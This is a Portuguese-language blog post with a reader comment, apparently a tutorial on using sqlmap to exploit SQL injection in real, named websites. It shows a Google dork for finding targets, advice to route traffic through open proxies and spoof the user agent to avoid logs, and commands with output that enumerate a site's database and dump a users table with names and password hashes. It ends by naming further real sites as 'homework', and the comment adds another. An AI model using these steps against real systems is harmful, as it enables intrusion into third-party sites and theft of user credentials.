Recentemente estive conversando com alguns amigos sobre SQL injection, e no decorrer da conversa enfatizei que infelizmente apesar da divulgação da técnica e dos riscos e conseguencias que ela traz para as empresas há um descaso por muitas organizações sobre o assunto, tanto é que escrevi um post chamado "Sites Vulneráveis - agora quero ver" em forma de protesto, leia o post e veja como é fácil descobrir sites vulneráveis a sqli e explorá-los.
Neste post quero mostrar que mesmo sem um conhecimento intermediário sobre sqli você pode com a utilização de ferramentas, como a sqlmap, extrair informações de um banco de dados. Vou dividir este post em etapas e esclarecer cada uma delas. Para isso estarei usando o sqlmap, ferramenta open source escrita em python para detecção e exploração de páginas vulneráveis a sql injection.
De acordo com o site dos desenvolvedores o sqlmap suporta os seguintes banco de dados: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems, abrangendo a maioria dos bancos utilizados hoje (MySQL, PostgreSQL, Microsoft SQL Server). Vamos ao que interessa.
1) Detecção de SQLi
O sqlmap detecta se uma url é vulnerável a sql injection, mas neste caso vamos realizar esta tarefa de uma forma mais rápida, para isso faça uma pesquiça no google utilizando a string:
inurl:.php?id=
Usarei como exemplo a url: http://www.comingsoon.net/news/movienews.php?id=67468.
Coloque um ' no final da url, ficando assim:
http://www.comingsoon.net/news/movienews.php?id=67468'
Se aparecer uma mensagem de erro, como "DB Error: syntax error" ou algo do tipo, isso significa que esta página é vulnerável a sql injection. Para saber mais sobre como detectar páginas vulneráveis a sqli leia o psot "SQL Injection na prática".
2) Buscando um Proxy
Para que o seu IP não apareça no log do servidor use um proxy com a opção --proxy, check um nos sites abaixo por um proxy ativo:
http://www.samair.ru/proxy/type-01.htm
http://nntime.com/proxy-country/Brazil-01.htm
3) Mude o Agente
Vamos fazer com que o servidor Web pense que nossas requisições estão sendo feitas do Mozilla, para isso usaremos a opção:
--user-agent=Mozilla
4) Extraindo informações
Se você não sabe as opções, veja com o comando: sqlmap -h
Este comando é básico, checa se a URL é vulnerável e tenta extrair algumas informações:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -u http://www.comingsoon.net/news/movienews.php?id=67468
[15:39:04] [INFO] testing MySQL
[15:39:09] [INFO] confirming MySQL
[15:39:14] [INFO] retrieved: 1
[15:39:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
Agora sabemos que é um Apache e um MySQL.
Vamos ver quantos bancos temos nesse MySQL com a opção --dbs:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --dbs -u http://www.comingsoon.net/news/movienews.php?id=67468
[16:01:00] [INFO] fetching database names
[16:01:00] [INFO] fetching number of databases
[16:01:00] [INFO] retrieved: 2
[16:01:28] [INFO] retrieved: information_schema
[16:11:22] [INFO] retrieved: comingso_nextra
available databases [2]:
[*] comingso_nextra
[*] information_schema
Temos dois bancos e o que esta sendo usado é o "comingso_nextra" o "information_schema" tem outra finalidade. Para termos certeza que a base que esta sendo usada é mesmo a "comingso_nextra" execute o comando abaixo com a opção --current-db:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 --current-db -u http://www.comingsoon.net/news/movienews.php?id=67468
[16:21:49] [INFO] fetching current database
[16:21:49] [INFO] retrieved: comin ^C
[16:22:29] [ERROR] user aborted
Vamos ver as tabelas que pertencem a base "comingso_nextra":
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra --tables -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
[29 tables]
+------------------------------+
| article_comments |
| bomments_filter_string |
| category_online_count |
| comments_disabled |
| comments_filter |
| hit_ip_table |
| hit_table |
| ip_filter |
| NEX_@ATEGORIES |
| NEX_ARTICLE_CATEGORY_MAP |
| NEX_ARTICLE_FIELD_CONTENT |
| NEX_ARTICLE_IMAGE_MAP |
| NEX_ARTICLES |
| NEX_BG |
| NEX_BOXOFFICERANK |
| NEX_BOXOFFICEWEEK |
| NEX_CATEGORY_FIELD_ORDER |
| NEX_FEATUREBOX |
| NEX_FIELDS |
| NEX_GENRE |
| NEX_IMAGES |
| NEX_TALENT |
| NEX_USER_CATEGORY_MAP |
| NEX_USERS |
| release_date |
| sessions |
| t |
| talent_article_process_queue |
| test_table |
+------------------------------+
Tem uma tabela que chamou minha atenção, espero que a sua também, é a tabela NEX_USERS. Vamos ver as colunas que estão nesta tabela:
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS --columns -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
Table: NEX_USERS
[6 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| access | varchar(20) |
| email | varchar(255) |
| name | varchar(255) |
| password | varchar(50) |
| title | varchar(255) |
| user_id | int(11) |
+----------+--------------+
#sqlmap --user-agent=Mozilla --proxy=http://50.17.202.167:80 -D comingso_nextra -T NEX_USERS -C 'name,password' --dump -u http://www.comingsoon.net/news/movienews.php?id=67468
Database: comingso_nextra
Table: NEX_USERS
[15 entries]
+---------------+------------------------------------+
| name | password |
+---------------+------------------------------------+
| Aric | $1$oXa15J8g$2idU4zZjHnXPyYDu94w2C0 |
| Chris | $1$IFSow8ky$/GOkLPrS8hFjeee0Oa7pw. |
| Chris Wells | $1$cvRZK03z$L3iLr/6ZPrAG5j7jboPS91 |
| David Denton | $1$khsRMtWe$HN.M2y7Be9ocGjjY1FXD2/ |
| Ed | $1$jWolY0h2$s2ub83e15KFnGlUOAN4Rf. |
| Gino | $1$m60X2vhy$LNAOKZSQwNmij4sFj5W.a0 |
| John | $1$2Jhgdzht$qf.IfLRxOWnMZ6w7dwu4X. |
| Josh | $1$Xn9Vcpae$pVzqnTOz.8EgM8TDABCse1 |
| Mirko | $1$Eqtx7VUx$CItmrnT1jSqpEQJErqiex. |
| Nexcess | $1$hIl8D.HV$Jmnw7mWw/4kBLAT0pCdTR1 |
| Paul Oehler | $1$VEaJRoYB$uHkruhhqrjYSouh1EL8er0 |
| Ryan Rotten | $1$1RkPWqa/$6Rw4oLqCFrzwS@6PFIZAN0 |
| Scott | $1$db37gF77$1jrwr5GCpNpPfLNRhhdC30 |
| Silas Lesnick | $1$qEycO1If$bmq1HZj7/LmVksBejtpLK1 |
| Socheat Sou | $1$40D5acFu$mxc/uBenEn7WI9h5zwJLA1 |
+---------------+------------------------------------+
Temos os usuário com as senhas em MD5 Unix.
Sério, qualquer um pode fazer isso.
Dever de casa
Dois sites para serem explorados:
http://www.caocidadao.com.br/artigos_caes.php?id=127
http://www.funcitec.rct-sc.br/noticias.php?id=742
by Osvaldo H Peixoto
anonymous - vulnerability
ResponderExcluirhttp://www.camposdojordao.com.br/leitor-campos-tv-turismo.php?video_id=